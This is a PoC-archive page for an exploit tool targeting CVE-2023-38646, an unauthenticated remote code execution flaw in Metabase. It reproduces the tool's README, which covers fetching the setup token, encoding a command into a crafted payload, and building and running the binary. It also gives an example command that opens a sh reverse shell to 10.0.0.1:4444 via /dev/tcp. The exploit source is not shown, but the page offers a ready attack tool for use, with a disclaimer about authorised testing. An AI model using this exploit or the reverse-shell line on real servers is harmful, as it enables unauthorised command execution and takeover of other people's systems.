Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-38646 PoC — Metabase 安全漏洞

Source
Associated Vulnerability
Title:Metabase 安全漏洞 (CVE-2023-38646)
Description:Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
Description
CVE-2023-38646 Metabase 0.46.6 exploit
Readme
# CVE-2023-38646
CVE-2023-38646 Metabase 0.46.6 exploit

This tool exploits a vulnerability (CVE-2023-38646) in a software platform. The exploit allows for remote code execution via a crafted request, leveraging a mishandled database connection string.

##  Overview

The tool:
- Fetches the setup token from the target URL.
- Base64 encodes the supplied command.
- Constructs the payload with the encoded command.
- Sends the payload to exploit the vulnerability.


## Installation

Clone the repository:
```
git clone https://github.com/SUT0L/CVE-2023-38646.git
cd CVE-2023-38646
go build -o exploit
chmod +x exploit
```

## Usage

```
./exploit --url [TARGET_URL] --command [COMMAND] [--proxy PROXY_URL]
```

TARGET_URL: The URL of the platform to be scanned and exploited.
COMMAND: The command to be executed on the target.
PROXY_URL (Optional): The URL of the proxy server (e.g., http://127.0.0.1:8080). If not provided, no proxy will be used.


## Example with a sh reverse shell

```
./exploit --url https://example.com --command 'sh -i >& /dev/tcp/10.0.0.1/4444 0>&1' --proxy http://127.0.0.1:8080
```

## Disclaimer

This tool is intended for educational and research purposes only. Always ensure you have proper authorization before scanning or exploiting any target. Misuse of this tool is strictly against the developer's intention and could be illegal.

## Feedback & Contributions

Feel free to open issues for any feedback, bugs, or feature requests. Pull requests are always welcome!
File Snapshot

[4.0K] /data/pocs/8e29228d7aea1bbfa7450829f616ff4c107b3f76 ├── [ 31] go.mod ├── [4.8K] main.go └── [1.5K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →